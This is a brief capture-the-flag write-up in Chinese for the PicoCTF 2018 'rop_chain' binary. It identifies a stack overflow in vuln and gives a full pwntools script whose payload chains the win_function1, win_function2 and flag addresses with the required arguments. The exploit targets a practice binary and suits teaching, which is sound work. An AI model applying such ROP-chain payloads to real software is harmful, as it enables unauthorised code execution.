PicoCTF_2018_rop_chain

1. 函数vuln中存在栈溢出

1. flag是后门函数,只要满足win1 && win2和a1 = 0xDEADBAAD就可以得到flag

3.win1 & win2存在于.bss段上,但是可以利用win_function1 & win_function2两个函数构造

win1

win2

from pwn import *
#context.log_level = 'debug'
#io = gdb.debug('./PicoCTF_2018_rop_chain','break *080485CB')
io = process('./PicoCTF_2018_rop_chain')
offset = 0x18+4
elf = ELF('./PicoCTF_2018_rop_chain')
payload1 = b'A'*offset+p32(elf.sym['win_function1'])+p32(elf.sym['win_function2'])+p32(elf.sym['flag'])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
#溢出专跳到`win_function1`初始化win1,再到`win_function2`同时传入覆盖`win_function2`的参数a,最后跳转到`flag`函数相同操作
io.sendlineafter(b'Enter your input>',payload1)
io.interactive()